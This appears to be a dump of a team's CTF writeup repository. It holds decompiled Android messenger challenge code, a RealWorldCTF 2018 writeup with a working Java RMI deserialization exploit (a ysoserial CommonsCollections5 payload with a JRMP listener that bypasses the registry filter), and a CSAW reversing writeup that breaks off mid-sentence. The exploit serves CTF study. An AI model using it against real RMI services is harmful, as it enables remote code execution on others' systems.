localCurve25519KeyPair.getPublicKey()); 56 | } 57 | 58 | public StringStorage decrypt(ECKey paramECKey, byte[] privateKeyParam) 59 | { 60 | byte[] arrayOfByte = Curve25519.get("best").calculateAgreement(paramECKey.getPublicKey(), privateKeyParam); 61 | byte[] AESKEY = sha256Hmac(getIVShifted(paramECKey.getStoredMessageCounter()), "WhisperSystems".getBytes(), 16); 62 | arrayOfByte = sha256Hmac(arrayOfByte, "WhisperSystems".getBytes(), 16); 63 | Cipher localCipher = getCipherInstance(); 64 | localCipher.init(2, new SecretKeySpec(AESKEY, "AES"), new IvParameterSpec(arrayOfByte)); 65 | return new StringStorage(new String(localCipher.doFinal(paramECKey.getEncryptedData()))); 66 | } 67 | 68 | public boolean equals(Object paramObject) 69 | { 70 | return ((paramObject instanceof EncryptedSession)) && (participant1.equals(participant1)) && (participant2.equals(participant2)); 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/GetMessageReceiver.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.os.Bundle; 7 | 8 | public class GetMessageReceiver 9 | extends BroadcastReceiver 10 | { 11 | public GetMessageReceiver() {} 12 | 13 | public void onReceive(Context paramContext, Intent paramIntent) 14 | { 15 | Object localObject = paramIntent.getExtras().get("encrypted"); 16 | if (!(localObject instanceof ECKey)) { 17 | throw new ClassCastException("Garbage got."); 18 | } 19 | paramIntent = paramIntent.getExtras().get("participant"); 20 | if (!(localObject instanceof Participant)) { 21 | throw new ClassCastException("Garbage got."); 22 | } 23 | try 24 | { 25 | paramContext = Main.getParticipant(); 26 | localObject = (ECKey)localObject; 27 | paramIntent = (Participant)paramIntent; 28 | paramContext.a((ECKey)localObject, paramIntent); 29 | return; 30 | } 31 | catch (Exception paramContext) 32 | { 33 | paramContext.printStackTrace(); 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/Logger.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger; 2 | 3 | import android.util.Log; 4 | import java.io.PrintStream; 5 | import org.apache.commons.math3.fraction.Participant; 6 | 7 | public class Logger 8 | { 9 | public static void add(String paramString) 10 | { 11 | write(paramString); 12 | } 13 | 14 | public static void add(String paramString, byte[] paramArrayOfByte) 15 | { 16 | write(paramString + new String(Participant.add(paramArrayOfByte))); 17 | } 18 | 19 | private static void write(String paramString) 20 | { 21 | System.out.println(paramString); 22 | Log.i("Messenger", paramString); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/Main.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger; 2 | 3 | import android.os.Bundle; 4 | import android.support.v7.app.AppCompatActivity; 5 | import android.view.View; 6 | import android.widget.Button; 7 | import android.widget.EditText; 8 | import java.util.HashMap; 9 | import messenger.hackit2017.com.securemessenger.d; 10 | 11 | public class Main 12 | extends AppCompatActivity 13 | { 14 | private static final Participant i = new Participant("alice"); 15 | private HashMap map = new HashMap(); 16 | 17 | public Main() {} 18 | 19 | public static Participant getParticipant() 20 | { 21 | return i; 22 | } 23 | 24 | protected void onCreate(Bundle paramBundle) 25 | { 26 | super.onCreate(paramBundle); 27 | setContentView(2130968603); 28 | paramBundle = (Button)findViewById(2131427426); 29 | EditText localEditText = (EditText)findViewById(2131427423); 30 | paramBundle.setOnClickListener(new Main.1(this, (EditText)findViewById(2131427425), localEditText)); 31 | 32 | if (!inHashmap) 33 | add new Particpant ("bob", etc...) 34 | 35 | try 36 | { 37 | AliceParticipant.createPencryptDataartipantQ(new StringStorage(localEditText.getText().toString()), existingParticipant); 38 | return; 39 | } 40 | catch (Exception paramAnonymousView) 41 | { 42 | paramAnonymousView.printStackTrace(); 43 | } 44 | 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/Participant.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Arrays; 5 | import java.util.HashMap; 6 | import java.util.Iterator; 7 | import java.util.List; 8 | import java.util.Map; 9 | import messenger.hackit2017.com.securemessenger.f; 10 | import org.whispersystems.curve25519.Curve25519; 11 | import org.whispersystems.curve25519.Curve25519KeyPair; 12 | 13 | public class Participant 14 | { 15 | private List activeSessions; 16 | private Map seedByteArrayStorage; 17 | public String username; 18 | private Curve25519KeyPair keyPair = Curve25519.get("best").createKeyPair(); 19 | 20 | public Participant(String username) 21 | { 22 | this.username = username; 23 | activeSessions = new ArrayList(10); 24 | seedByteArrayStorage = new HashMap(10); 25 | } 26 | 27 | private EncryptedSession getCreateSession(Participant paramParticipant) 28 | { 29 | paramParticipant = new EncryptedSession(this, paramParticipant, keyPair.privateKey()); 30 | Iterator localIterator = a.iterator(); 31 | while (localIterator.hasNext()) 32 | { 33 | EncryptedSession localEncryptedSession = (EncryptedSession)localIterator.next(); 34 | if (localEncryptedSession.equals(paramParticipant)) { 35 | return localEncryptedSession; 36 | } 37 | } 38 | Logger.add(username + "/session/est"); 39 | activeSessions.add(paramParticipant); 40 | return paramParticipant; 41 | } 42 | 43 | public SeedStorage GenerateKeyPairStore() 44 | { 45 | Curve25519KeyPair localCurve25519KeyPair = Curve25519.get("best").getKeyPair(); 46 | SeedStorage localSeedStorage = new SeedStorage(localCurve25519KeyPair.getPublicKey()); 47 | seedByteArrayStorage.put(Long.valueOf(localSeedStorage.getSeed()), localCurve25519KeyPair.getPrivateKey()); 48 | Logger.add(username + "/session/ephemeral/prekey/requested/public/" + localSeedStorage); 49 | Logger.add(username + "/session/ephemeral/prekey/requested/private/", localCurve25519KeyPair.getPrivateKey()); 50 | return localSeedStorage; 51 | } 52 | 53 | public void decryptData(ECKey paramECKey, Participant paramParticipant) 54 | { 55 | Logger.add(username + "/msg/rcv/" + username + "/enc/" + paramECKey); 56 | getCreateSession(paramParticipant).decrypt(paramECKey, (byte[])seedByteArrayStorage.get(Long.valueOf(paramECKey.getSeed()))); 57 | seedByteArrayStorage.remove(Long.valueOf(paramECKey.getSeed())); 58 | } 59 | 60 | public void encryptData(StringStorage paramStringStorage, Participant otherParticipant) 61 | { 62 | otherParticipant.a(getCreateSession(otherParticipant).encryptData(paramStringStorage, otherParticipant.GenerateKeyPairStore()), this); 63 | } 64 | 65 | public boolean equals(Object paramObject) 66 | { 67 | if ((paramObject instanceof Participant)) { 68 | return Arrays.equals(((Participant)paramObject).getCurve25519PublicKey(), getCurve25519PublicKey()); 69 | } 70 | return false; 71 | } 72 | 73 | public byte[] getCurve25519PublicKey() 74 | { 75 | return keyPair.getPublicKey(); 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/Path.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger; 2 | 3 | public class StringStorage 4 | { 5 | private String id; 6 | 7 | public StringStorage(String paramString) 8 | { 9 | id = paramString; 10 | } 11 | 12 | public String getStoredValue() 13 | { 14 | return id; 15 | } 16 | 17 | public String toString() 18 | { 19 | return id; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/PublicKeyStorage.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger; 2 | 3 | import java.security.SecureRandom; 4 | import org.apache.commons.math3.fraction.Participant; 5 | 6 | public class PublicKeyStorage 7 | { 8 | private long seed = new SecureRandom().nextInt(Integer.MAX_VALUE); 9 | private byte[] seedBytesQ; 10 | 11 | public PublicKeyStorage(byte[] paramArrayOfByte) 12 | { 13 | seedBytesQ = paramArrayOfByte; 14 | } 15 | 16 | public byte[] getSeedBytesQ() 17 | { 18 | return seedBytesQ; 19 | } 20 | 21 | public long getSeed() 22 | { 23 | return seed; 24 | } 25 | 26 | public String toString() 27 | { 28 | return "[" + a + " : " + new String(Participant.add(b)) + "]"; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/temp.cs: -------------------------------------------------------------------------------- 1 | public static byte[] encryptBlock(byte[] block, byte[,] matrix) 2 | { 3 | int i = 0; 4 | 5 | while (true) 6 | { 7 | if (!(i < block.Length)) 8 | return block; 9 | 10 | var b1 = block[i]; 11 | var b2 = block[i + 1]; 12 | 13 | byte b1_x = 0; 14 | byte b1_y = 0; 15 | byte b2_x = 0; 16 | byte b2_y = 0; 17 | 18 | byte x = 0; 19 | byte y = 0; 20 | 21 | while (y < 16) 22 | { 23 | x = 0; 24 | while (x < 16) 25 | { 26 | if (matrix[y,x] == b1) 27 | { 28 | b1_x = x; 29 | b1_y = y; 30 | } 31 | else 32 | { 33 | if (matrix[y,x] == b2) 34 | { 35 | b2_x = x; 36 | b2_y = y; 37 | } 38 | } 39 | x += 1; 40 | } 41 | y += 1; 42 | } 43 | 44 | if (b1_x == b2_x && b1_y == b2_y) 45 | { 46 | 47 | } 48 | else 49 | { 50 | if (b1_y == b2_y) 51 | { 52 | b1_x += 1; 53 | b2_x += 1; 54 | 55 | if (b1_x >= 16) b1_x = 0; 56 | if (b2_x >= 16) b2_x = 0; 57 | } 58 | else 59 | { 60 | byte tmp = b1_x; 61 | b1_x = b2_x; 62 | b2_x = tmp; 63 | } 64 | } 65 | 66 | block[i] = matrix[b1_y,b1_x]; 67 | block[i + 1] = matrix[b2_y,b2_x]; 68 | 69 | i += 2; 70 | } 71 | } -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/xy/PositionMetric.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger.xy; 2 | 3 | public class PositionMetric 4 | extends a 5 | { 6 | public PositionMetric() {} 7 | 8 | protected int b() 9 | { 10 | return 1; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/xy/PositionMetric.java.obf: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.com.securemessenger.a; 2 | 3 | public class c 4 | extends a 5 | { 6 | public c() {} 7 | 8 | protected int a() 9 | { 10 | return 1; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/xy/XYGraphWidget.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger.xy; 2 | 3 | public class XYGraphWidget 4 | extends a 5 | { 6 | public XYGraphWidget() {} 7 | 8 | protected int b() 9 | { 10 | return 0; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/xy/XYGraphWidget.java.obf: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.com.securemessenger.a; 2 | 3 | public class b 4 | extends a 5 | { 6 | public b() {} 7 | 8 | protected int a() 9 | { 10 | return 0; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/xy/a.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger.xy; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import javax.crypto.Mac; 5 | import javax.crypto.spec.SecretKeySpec; 6 | 7 | public abstract class a 8 | { 9 | public a() {} 10 | 11 | public static a a(int paramInt) 12 | { 13 | switch (paramInt) 14 | { 15 | default: 16 | throw new AssertionError("Unknown version: " + paramInt); 17 | case 2: 18 | return new XYGraphWidget(); 19 | } 20 | return new PositionMetric(); 21 | } 22 | 23 | private byte[] read(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, int paramInt) 24 | { 25 | double d = paramInt / 32.0D; 26 | try 27 | { 28 | d = Math.ceil(d); 29 | int k = (int)d; 30 | Object localObject1 = new byte[0]; 31 | ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream(); 32 | int j = b(); 33 | int i = paramInt; 34 | paramInt = j; 35 | for (;;) 36 | { 37 | j = b(); 38 | if (paramInt >= j + k) { 39 | break; 40 | } 41 | Object localObject2 = Mac.getInstance("HmacSHA256"); 42 | ((Mac)localObject2).init(new SecretKeySpec(paramArrayOfByte1, "HmacSHA256")); 43 | ((Mac)localObject2).update((byte[])localObject1); 44 | if (paramArrayOfByte2 != null) { 45 | ((Mac)localObject2).update(paramArrayOfByte2); 46 | } 47 | byte b = (byte)paramInt; 48 | ((Mac)localObject2).update(b); 49 | localObject2 = ((Mac)localObject2).doFinal(); 50 | localObject1 = localObject2; 51 | j = localObject2.length; 52 | j = Math.min(i, j); 53 | localByteArrayOutputStream.write((byte[])localObject2, 0, j); 54 | i -= j; 55 | paramInt += 1; 56 | } 57 | paramArrayOfByte1 = localByteArrayOutputStream.toByteArray(); 58 | return paramArrayOfByte1; 59 | } 60 | catch (Exception paramArrayOfByte1) 61 | { 62 | throw new AssertionError(paramArrayOfByte1); 63 | } 64 | } 65 | 66 | private byte[] sha256Hmac(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2) 67 | { 68 | try 69 | { 70 | Mac localMac = Mac.getInstance("HmacSHA256"); 71 | localMac.init(new SecretKeySpec(paramArrayOfByte1, "HmacSHA256")); 72 | paramArrayOfByte1 = localMac.doFinal(paramArrayOfByte2); 73 | return paramArrayOfByte1; 74 | } 75 | catch (Exception paramArrayOfByte1) 76 | { 77 | throw new AssertionError(paramArrayOfByte1); 78 | } 79 | } 80 | 81 | public byte[] a(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, int paramInt) 82 | { 83 | return a(paramArrayOfByte1, new byte[32], paramArrayOfByte2, paramInt); 84 | } 85 | 86 | public byte[] a(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, byte[] paramArrayOfByte3, int paramInt) 87 | { 88 | return read(sha256Hmac(paramArrayOfByte2, paramArrayOfByte1), paramArrayOfByte3, paramInt); 89 | } 90 | 91 | protected abstract int b(); 92 | } 93 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/xy/a.java.obf: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.com.securemessenger.a; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import javax.crypto.Mac; 5 | import javax.crypto.spec.SecretKeySpec; 6 | 7 | public abstract class a 8 | { 9 | public a() {} 10 | 11 | public static a a(int paramInt) 12 | { 13 | switch (paramInt) 14 | { 15 | default: 16 | throw new AssertionError("Unknown version: " + paramInt); 17 | case 2: 18 | return new b(); 19 | } 20 | return new c(); 21 | } 22 | 23 | private byte[] a(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2) 24 | { 25 | try 26 | { 27 | Mac localMac = Mac.getInstance("HmacSHA256"); 28 | localMac.init(new SecretKeySpec(paramArrayOfByte1, "HmacSHA256")); 29 | paramArrayOfByte1 = localMac.doFinal(paramArrayOfByte2); 30 | return paramArrayOfByte1; 31 | } 32 | catch (Exception paramArrayOfByte1) 33 | { 34 | throw new AssertionError(paramArrayOfByte1); 35 | } 36 | } 37 | 38 | private byte[] b(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, int paramInt) 39 | { 40 | double d = paramInt / 32.0D; 41 | try 42 | { 43 | int k = (int)Math.ceil(d); 44 | byte[] arrayOfByte = new byte[0]; 45 | ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream(); 46 | int j = a(); 47 | int i = paramInt; 48 | paramInt = j; 49 | while (paramInt < a() + k) 50 | { 51 | Mac localMac = Mac.getInstance("HmacSHA256"); 52 | localMac.init(new SecretKeySpec(paramArrayOfByte1, "HmacSHA256")); 53 | localMac.update(arrayOfByte); 54 | if (paramArrayOfByte2 != null) { 55 | localMac.update(paramArrayOfByte2); 56 | } 57 | localMac.update((byte)paramInt); 58 | arrayOfByte = localMac.doFinal(); 59 | j = Math.min(i, arrayOfByte.length); 60 | localByteArrayOutputStream.write(arrayOfByte, 0, j); 61 | i -= j; 62 | paramInt += 1; 63 | } 64 | paramArrayOfByte1 = localByteArrayOutputStream.toByteArray(); 65 | return paramArrayOfByte1; 66 | } 67 | catch (Exception paramArrayOfByte1) 68 | { 69 | throw new AssertionError(paramArrayOfByte1); 70 | } 71 | } 72 | 73 | protected abstract int a(); 74 | 75 | public byte[] a(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, int paramInt) 76 | { 77 | return a(paramArrayOfByte1, new byte[32], paramArrayOfByte2, paramInt); 78 | } 79 | 80 | public byte[] a(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, byte[] paramArrayOfByte3, int paramInt) 81 | { 82 | return b(a(paramArrayOfByte2, paramArrayOfByte1), paramArrayOfByte3, paramInt); 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /2017/files/rev250/messenger_emulator.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2017/files/rev250/messenger_emulator.apk -------------------------------------------------------------------------------- /2017/files/rev250/src_deguard.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2017/files/rev250/src_deguard.zip -------------------------------------------------------------------------------- /2017/files/rev300/api_client_apk.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2017/files/rev300/api_client_apk.apk -------------------------------------------------------------------------------- /2018/RealWorldCTF2018_Finals/RMI/CommonsCollections.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/RealWorldCTF2018_Finals/RMI/CommonsCollections.PNG -------------------------------------------------------------------------------- /2018/RealWorldCTF2018_Finals/RMI/Main.java: -------------------------------------------------------------------------------- 1 | import sun.rmi.server.UnicastRef; 2 | import ysoserial.exploit.JRMPListener; 3 | import ysoserial.payloads.ObjectPayload; 4 | import javax.management.remote.rmi.RMIConnectionImpl_Stub; 5 | import java.rmi.registry.LocateRegistry; 6 | import java.rmi.registry.Registry; 7 | 8 | public class Main { 9 | 10 | public static void main(String[] args) throws Exception { 11 | 12 | // Generate an instance of the CommonsCollections5 payload exeucting "gnome-calculator" 13 | final Class payloadClass = ObjectPayload.Utils.getPayloadClass("CommonsCollections5"); 14 | final ObjectPayload payload = payloadClass.newInstance(); 15 | final Object object = payload.getObject("gnome-calculator"); 16 | 17 | // Start the remote GC listener at port 1337 18 | JRMPListener listener = new JRMPListener(1337, object); 19 | Thread thread = new Thread(listener); 20 | thread.start(); 21 | 22 | // Setup the RMI 23 | Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); 24 | // Connect to RMI 25 | registry.list(); 26 | 27 | // Exploit the RMI, point to the JRMP listener 28 | exploit(registry, "127.0.0.1", 1337); 29 | } 30 | 31 | public static void exploit(final Registry registry, 32 | String jrmpHost, int jrmpPort ) throws Exception { 33 | 34 | // Generate the UnicastRef Object with the endpoint to the remote GC 35 | UnicastRef payload = generateUnicastRef(jrmpHost, jrmpPort); 36 | 37 | // Generate random name 38 | String name = "pwned" + System.nanoTime(); 39 | 40 | // Build an RMI Implementation from the unicastRef object 41 | RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub(payload); 42 | 43 | try { 44 | // Bind the RMI implementation to the RMI 45 | registry.bind(name, remote); 46 | } catch (Throwable e) { 47 | e.printStackTrace(); 48 | } 49 | return; 50 | 51 | } 52 | 53 | public static UnicastRef generateUnicastRef(String host, int port) { 54 | // Create a dummy objectId 55 | java.rmi.server.ObjID objId = new java.rmi.server.ObjID(); 56 | // Create the TCP endpoint to the remote GC 57 | sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port); 58 | // Create a "LiveRef" of the dummy object with the specified endpoint 59 | sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false); 60 | // Wrap the LiveRef in the UnicastRef 61 | return new sun.rmi.server.UnicastRef(liveRef); 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /2018/RealWorldCTF2018_Finals/RMI/PoC.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/RealWorldCTF2018_Finals/RMI/PoC.PNG -------------------------------------------------------------------------------- /2018/RealWorldCTF2018_Finals/RMI/README.md: -------------------------------------------------------------------------------- 1 | # RMI 2 | 3 | During the Real World CTF Finals 2018 I took a short look at the RMI challenge. Not knowing a straight approach I moved on to the camera challenge, which also was solved eventually a few days after the finals. Yesterday I gave the RMI challenge another try and solved in basically no time. To be fair: Another team hinted that there was a Chinese blog article include much information and even half of an PoC for this challenge. 4 | 5 | But step by step: RMI (Remote Method Invocation) is a Java feature to implement RPCs (Remote Procedure Calls). Basically the RMI exposes some endpoints and a remote client can use the endpoint like in a local application. Since the RMI uses Java Object Serialization to transfer the objects between the server and client the protocol vulnerable to the well known Object Injection Exploits (see ysoserial for reference). If certain gadgets are present in the Java class path libraries, special crafted objects can trigger a RCE once they get deserialized. 6 | 7 | The RMI challenge had quite a simple setup: Use the most recent JRE version (8u191) to exploit the provided RMI. Given was a JAR file that hosts a RMI server at port 1099. The RMI endpoint was a "Hello World" stub with the simplest imaginable implementation (and acutally not needed at all): 8 | 9 | public abstract interface RemoteHello extends Remote 10 | { 11 | public abstract String sayHello() throws RemoteException; 12 | } 13 | 14 | public class RemoteHelloImpl implements RemoteHello 15 | { 16 | public String sayHello() throws RemoteException 17 | { 18 | return "Hello, real world ctfer."; 19 | } 20 | } 21 | 22 | The above mentioned RCE gadgets were also present in the JAR as revealed in the META-INF of the file: 23 | ![](CommonsCollections.PNG) 24 | 25 | The Apache Commons Collections are the most used library to gain RCE via a deserialization vulnerability. And it was even a old, unfixed version 3.2.1 of the library! The usual way to exploit this RMI is a one-liner: 26 | 27 | `java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit localhost 1099 CommonsCollections5 gnome-calculator` 28 | 29 | This command creates an RMI client and sends the CommonsCollections5 RCE object payload to the RMI server, triggering the "gnome-calculator" command once its processed by the RMI. Or at least it would in an older JRE version. Starting with JRE 8u121 an "RMI RegistryFilter" was included. 30 | 31 | If (String.class == clazz 32 | || java.lang.Number.class.isAssignableFrom(clazz) 33 | || Remote.class.isAssignableFrom(clazz) 34 | || java.lang.reflect.Proxy.class.isAssignableFrom(clazz) 35 | || UnicastRef.class.isAssignableFrom(clazz) 36 | || RMIClientSocketFactory.class.isAssignableFrom(clazz) 37 | || RMIServerSocketFactory.class.isAssignableFrom(clazz) 38 | || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz) 39 | || java.rmi.server.UID.class.isAssignableFrom(clazz)) { 40 | return ObjectInputFilter.Status.ALLOWED; 41 | } else { 42 | return ObjectInputFilter.Status.REJECTED; 43 | } 44 | 45 | ![](Rejected.png) 46 | 47 | The RMI Objects are reduced to only a few classes, rejecting the "AnnotationInvocationHandler" used by the RCE gadget as seen in the screenshot. 48 | 49 | Long story short: I finally found the mentioned chinese blog article about bypassing the RMI on page 5 on the google results. 50 | 51 | *(I don't have deep knowledge of Java internalGooglethe following few sentences are very vague and might be even wrong)* The PoC in the blog article uses the `UnicastRef` class. The Java RMI provides a distributed garbage collection among clients. The object refs are tracked by the `LiveRef` class, storing the `objectId` along with a tcp endpoint of the destributed GC. This `LiveRef` can be wrapped in a `UnicastRef` object allowed by the registryFilter! Once the object gets garbage collected, the remote garbage collector is notified and returns a serialized BadAttributeValueExpException to the RMI which contains the RCE payload. This serialized object is not checked by the registryFilter, yielding the RCE we wanted to achieve. 52 | 53 | The author of the chinese blog article provides in total four methods to bypass the filter, this way seemed the easiest. The other ways make essentially the same, but using proxy methods and dynamic invokes on the wrapped UnicastRef object. 54 | 55 | Fortunatly the malicious remote GC listener is already implemented in ysoserial . So all we need to do is: 56 | 57 | 1. Start a JRMP Listener 58 | 2. Arm the listener with the CommonsCollections 3.2.1 payload 59 | 3. Create a UnicastRef Object with a LiveRef to the remote GC 60 | 4. Register the UnicastRef Object at the RMI 61 | 5. Profit 62 | 63 | ![](PoC.PNG) 64 | 65 | Commented sourcecode attached. I'd highly appreciate it if someone corrects me on the whole remote GC and JRMP stuff. Unfortunatly I couldn't find information except for the raw java sources. -------------------------------------------------------------------------------- /2018/RealWorldCTF2018_Finals/RMI/Rejected.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/RealWorldCTF2018_Finals/RMI/Rejected.PNG -------------------------------------------------------------------------------- /2018/RealWorldCTF2018_Finals/RMI/hello-rmi-server.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/RealWorldCTF2018_Finals/RMI/hello-rmi-server.jar -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/README.md: -------------------------------------------------------------------------------- 1 | # 1337 (Reversing 500) 2 | 3 | There was a quite interesting, but also frustrating windows reversing challenge at CSAW quals 2018. Only 4 teams solved the task in time and it got upgraded from 300 to 500 points since it got no solves after more than a day. Unfortunately, my team ALLES! didn’t solve it in time because of a tiny bug in our implementation. That mistake cost us the first place, but anyways, heres the writeup: 4 | 5 | As usual in windows reversing the file gets loaded with CFF Explorer to obtain some standard information like the filetype (32 bit), suspicious sections (`UPX0` and `UPX1`, both red herrings) and an overview of the imports (`KERNEL32.dll` and `USER32.dll`, nothing special). Note that `GetProcAddr` and `LoadLibraryExA` is imported, so there are probably more APIs imported at runtime… 6 | 7 | Loading the file in IDA we inspect the main method. It runs in an endless loop, which is quite unusual for a console application since only UI applications use a message loop. The code is a mess, probably also due to the various obfuscations we come around later on. Let’s dive in and begin with some dynamically analysis, since the static code is a mess. 8 | 9 | Starting the 1337.exe with my favorite debugger x64dbg we notice a “Nope”-MessageBox. A debugger detection! Luckily only a simple one, we can hide the debugger in the PEB data (x64dbg can do this for us) and all debugger checks are bypassed. Tracing the `IsDebuggerPresent()`-Call (which actually uses the PEB for the check), we can find a call from the main function to this debugger check function (`0x00510AF0`). Let’s trace the user input: Let the program run until it asks for the console input. Suspend the main thread and trace the stack till we find a return to the 1337.exe 10 | 11 | ![](return.png) 12 | 13 | `ReadConsoleA` sounds good, but its only an internal API call. We are interested in the call of the 1337.exe module, which is actually a `ReadFile` call with the console handle. 14 | 15 | ![](consoleread.png) 16 | 17 | Knowing this location, we can trace the `lpBuffer` variable. It gets copied to a string (`0x00524A71`) and is returned. Eventually we arrive at `0x005755E3` where 8 bytes of input is pushed to the stack and the function `0x00528100` is called. 18 | 19 | ![](call.png) 20 | 21 | We handle this function as a black box for now. There is a 8 byte userinput segment and 8 byte output is returned in the registers EAX and EDX. Actually it’s a 64 bit number that gets passed in two registers. Keep in mind the 32 Bit context ;) This function gets called multiple times, passing all the 8 byte separated userinput to this black box function. Tracing the output of this black box function (memory BPs) we finally arrive at 0x00577098, `call eax`. 22 | 23 | ![](calleax.png) 24 | 25 | The first argument of this function call (as seen in the stack) is an address `X`, the second argument is address `X+1`. The third argument is simply a `1`, and static! The first argument is actually a byte of the output of the black box function, the second argument is static and comes from a decrypted string buffer. Lets analyze the function that gets called (`0x005115C4`). 26 | 27 | The pseudocode of this function is 1900 lines, sweet! But we’re lucky, the third argument is always 1. And so the function reduces to a few lines: 28 | 29 | ![](memcmp1.png) 30 | ![](memcmp2.png) 31 | 32 | A few lines later, tracing the value of `EBX`: 33 | 34 | ![](ebxtrace.png) 35 | 36 | The string “WriteProcessMemory” (another red herring) is used to calculate a static byte value: `0x12C`. And this value is compared to `ECX`, which should match. If we toggle the `ZF` to negate the comparison, we jump to the “good flag” function: 37 | 38 | ![](goodflag.png) 39 | 40 | Cool, task solved! Nah not really, we have to find the matching values for the static buffer. And for this, we have to analyze the black box functions which transforms the user input to an “hash” that is compared with the static buffer. 41 | We’d like to use IDA pseudocode to analyze this input transformation function, but a clever obfuscation technique hinders IDA to do so: 42 | 43 | ![](obfuscation.png) 44 | 45 | First all registers are saved, then the “function” is called, basically pushing the return address to the stack and jumping to the next line. The return address is popped from the stack, increased and pushed back, now pointing to the instruction right before the popad. A ret jumps to this place. So those lines basically do nothing, but disturb the stack analysis of IDA. If we NOP all those instructions, we get nice pseudocode: 46 | 47 | ![](pseudocodehash.png) 48 | 49 | All this code reduces to: 50 | ```python 51 | def algo2(power): 52 | base = 5 53 | accum = 1 54 | p = power & (0x3FFFFFFFFFFFFFFF) 55 | highbit = power >> (30+32) 56 | while True: 57 | if p & 1: 58 | accum = multip(base, accum) 59 | p = p >> 1 60 | base = multip(base, base) 61 | if (p <= 2): 62 | break; 63 | return accum + highbit - 1 64 | ``` 65 | In an even simpler form the calculation is reduced to: `pow(5,INPUT, 2^64)`. Lets verify this thesis with some input (we take “AAAABBBB” = 0x4141414142424242): 66 | ``` 67 | >>> hex(pow(5,0x4242424241414141,2**64)) 68 | '0xb4f541a4c7960705L' 69 | ``` 70 | ![](match.png) 71 | 72 | We got the right values stored in our registers! This means we have to solve a discrete logarithmic problem in the form a^x mod N = b with a=5, N = 2^64 and b given from the comparison buffer. Sage can solve this problem effectively and it worked well for our generated input. 73 | ```python 74 | def reversealgo(inp): 75 | F = Integers(2**64) 76 | rev = F(inp+1).log(5) + 2**63 - 2**62 77 | assert algo(int(rev)) == inp 78 | return rev 79 | ``` 80 | But the static comparison buffer values were: 81 | ``` 82 | 0xbeb9e408e58575b0 83 | 0xb8f8437f04f80044 84 | 0xc227df7146b09474 85 | ``` 86 | Notice how all of them are even numbers, which can’t be calculated using `5^x` for any `x`! We simplified the algorithm too much and 